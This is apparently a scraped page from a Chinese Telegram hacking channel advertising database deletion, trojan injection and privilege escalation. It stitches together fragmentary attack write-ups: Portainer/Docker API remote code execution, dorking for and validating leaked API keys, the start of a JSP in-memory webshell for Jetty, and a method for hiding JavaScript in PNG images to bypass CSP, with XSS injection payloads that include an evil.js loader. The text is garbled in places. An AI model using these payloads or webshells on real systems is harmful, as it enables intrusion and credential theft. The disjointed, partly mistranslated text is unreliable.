红客解密程序 暗网编程
27.5K subscribers
967 photos
12 videos
1 file
56 links
渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持
Download Telegram
请求拆分有多危险?Golang 中的一个漏洞,或者我们如何在 Portainer 中发现 RCE 并入侵 Uber

Docker 容器是通过 Docker API 进行管理的,但允许访问 Docker API 并不安全,因此通过 Websocket 接口使用了 TCP 代理方案。由于请求包含唯一的容器标识符 — id ,因此无需身份验证即可完成代理。它充当特定容器的 API 密钥。

这个查询发送给 Docker api,POST /exec/uuid/start。然后建立一个 Websocket 连接,通过TCP
代理到容器,用户可以在网站上运行命令
特定 API 提供商的工作流程
还可以创建 Dork 来定位特定的 API 提供商及其端点。这对于为用户的 API 密钥创建自动检查的公司尤其有用。了解 API 密钥的上下文和语法后,搜索空间可以大大减少。

了解特定的 API 提供商后,我们可以获取与 API 提供商的正则表达式匹配且位于 API 调用上下文中的所有键,然后我们可以使用内部数据库或 API 端点检查它们的有效性。

例如,假设一家公司(HalCorp)为用户提供了一个 API,用于读取和写入其帐户。通过创建我们自己的 HalCorp 帐户,我们发现 API 密钥的形式为[a-f]{4}-[a-f]{4}-[a-f]{4}
但是这个类并不能用于调试,因为fastjson中用ASM生成的代码没有linenumber、trace等用于调试的信息,所以不能调试。不过通过在Expression那个窗口重写部分代码,生成可用于调式的bytecode应该也是可行的(我没有测试,如果有时间和兴趣,可以看下ASM怎么生成可用于调试的字节码)
Java利用技巧——Jetty Servlet型内存马

前言 在上篇文章介绍了Jetty Filter型内存马的实现思路和细节,本文介绍Jetty Servlet型内存马的实现思路和细节 0x01 简介 本文将要介绍以下内容: 实现思路 实现代码 Zimbra环境下的Servlet型内存马 0x02 实现思路 同样是使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Servlet型内存马 0x03 实现代码 1.添加Servlet Jetty下可用的完整代码如下: <%@ page import="java.lang.reflect.Field"%> <%@ page import="java.lang.reflect.Method"%> <%@ page import="java.util.Scanner"%> <%@ page import="java.io.*"%> <% String servletName = "myServlet"; String urlPattern = "/servlet"; Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig)...
版本修复
再1.5.2版本中对其进行了修复,获取requestURI的方式从request.getRequestUri直接获取的方式更改为获取request的ContextPath,ServletPath,PathInfo,然后再重新拼接而成。
如何通过在 PNG 图片中隐藏 JavaScript 来绕过 CSP
将恶意的JavaScript库隐藏在PNG图像中并发布推文,然后通过利用绕过其内容安全策略(CSP)的XSS将其包含在易受攻击的网站中。

将恶意JavaScript库隐藏到PNG图像中并发布推文,然后利用XSS攻击绕过其内容安全策略(CSP)将其包含在易受的网站中。这不是科幻小说……而是HTML Canvas。

TL;DR -使用 HTML Canvas,您可以将任何 JavaScript 代码(或整个库)到 PNG 图像中,方法可以将每个源字符代码转换为一个像素。然后可以将图像上传到受信任的网站(如 Twitter 或 Google)(通常由 CSP 列入白名单),然后作为 HTML 文档中的图像的远程加载。最后,通过使用 canvasgetImageData方法,可以从图像内容中提取隐藏“的 JavaScript”并执行它。有时这可能会导致安全策略,使攻击者能够包含整个外部外部JavaScript 库
TL;DR -使用 HTML Canvas,您可以将任何 JavaScript 代码(或整个库)到 PNG 图像中,方法可以将每个源字符代码转换为一个像素。然后可以将图像上传到受信任的网站(如 Twitter 或 Google)(通常由 CSP 列入白名单),然后作为 HTML 文档中的图像的远程加载。最后,通过使用 canvasgetImageData方法,可以从图像内容中提取隐藏“的 JavaScript”并执行它。有时这可能会导致安全策略,使攻击者能够包含整个外部外部JavaScript 库

由于Content-Security-Policy响应标头能够有效阻止XSS、点击劫持和其他代码注入攻击,因此使用越来越广泛。然而,许多网站配置了众多的政策,小区错误报告,将整个域而不是特定资源列入白名单,或者使用 unsafe-inline 或 unsafe-eval 指令,这可能会导致绕过政策
Canvas 2D API 的方法返回一个对象,该对象表示光纤指定部分的底层原材料数据。此方法不受光纤的变换矩阵的影响。如果指定的精确超出光纤的边界,则返回的对象中光纤指定部分的光纤为透明黑色。

使用 Canvas 隐藏 PNG 图像中的文本
按照您可以复制并粘贴到浏览器的 JavaScript 控制台中的示例,从给定的字符串开始创建 PNG 图像,例如:“Hello, World!”。打开新选项卡,然后about:blank打开 JavaScript 控制台并粘贴以下代码

上面的代码使用putImageData表示“Hello, World!”字符串中每 3 个字符的组作为每个像素的 RGB(红色、绿色和蓝色)级别的方法创建了一个图像。在浏览器的控制台中运行它后,您会在左上角看到一个小图像
正如我之前所说,上图的每个像素代表“隐藏字符串”的 3 个字符。使用函数,我可以将每个字符转换为和charCodeAt之间的整数,表示其 UTF-16 代码单元。在单个像素中,第一个转换的字符用于红色通道,第二个用于绿色通道,最后一个用于蓝色通道。第四个值是 alpha 级别,在我们的示例中始终为 255。例如:065535
现在我们有了一个代表“Hello, World!”字符串的 PNG 图像。您可以将以下代码复制并粘贴到 JavaScript 控制台中,以将生成的 PNG 图像转换为原始文本字符串

如上所示,JavaScript 代码选择刚刚创建的图像元素,并使用getImageData将其转换为原始文本字符串。使用 时getImageData,您将获得一个ImageData具有包含大数组的属性的对象data。如前所示,每个像素的数组中有四个条目ImageData:r、g、b和alpha。因此,数组看起来像[pixel1R, pixel1G, pixel1B, pixel1Alpha, ..., pixelNR, pixelNG, pixelNB, pixelNAlpha]。
存在漏洞的网站
现在我们知道如何将文本字符串“存储”到图像中以及如何将该图像转换回其原始字符串。现在假设隐藏 JavaScript 代码而不是简单的文本字符串,并将生成的 PNG 图像上传到 Twitter。可以绕过将 Twitter 图像列入白名单的内容安全策略,并可以利用 XSS 从“受信任”的来源加载 JavaScript 内容。
如您所见,该应用程序使用 Content-Security-Policy,允许来自“self”和 Twitter 的图像,并允许来自“self”、“inline”和“eval”的 JavaScript。不幸的是,许多网站配置script-src指令允许 unsafe-inline 和 unsafe-eval 以避免误报。此外,许多网站将整个域列入白名单,而不是将特定资源列入白名单。

如果您认为这种配置很少见,并且没有人在 script-src 指令上使用“unsafe-inline”和“unsafe-eval”,那您就错了。根据最近对 Alexa Top 1m 的抓取,似乎有超过 5000 个网站在 script-src 或 default-src 指令上使用带有“unsafe-inline”和“unsafe-eval”的 Content-Security-Policy

该漏洞存在于lang查询字符串参数中,该参数未对用户输入进行清理,从而导致 HTML 注入和反射型 XSS。要利用此测试 Web 应用程序上的 XSS 漏洞,我需要注入 HTML 语法来关闭src属性并添加 SCRIPT 标记,然后注入 JavaScript 代码,例如?lang="><script>alert(1)</script>。

现在我需要绕过 CSP 并导入类似?lang="><script+src="//example.com/evil.js"></script>被 CSP 阻止的外部 JavaScript 库
通过将 Twitter 上的图像加载到 IMG 标签中,我可以将其转换为隐藏的 JavaScript 代码。如下面的屏幕截图所示,图像包含一个执行值的 JavaScriptalert函数document.cookie
利用:绕过 CSP
正如我之前所说,为了利用测试 Web 应用程序,我需要将 HTML 语法注入 IMG 标签中,以src使用类似的方式关闭属性?lang="><script>alert(1)</script>。

要包含来自 Twitter 的远程图像,我只需发送此请求:

/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22%3E%3Ca+href=%22
红色部分是我们的恶意 PNG 图像的 Twitter URL。蓝色部分是id注入的属性,以便更容易选择 IMG 标签。绿色部分是 A 标签,仅用于防止破坏 HTML 语法。现在我需要注入几行 JavaScript 来将图像转换为外部 JavaScript 库并绕过 CSP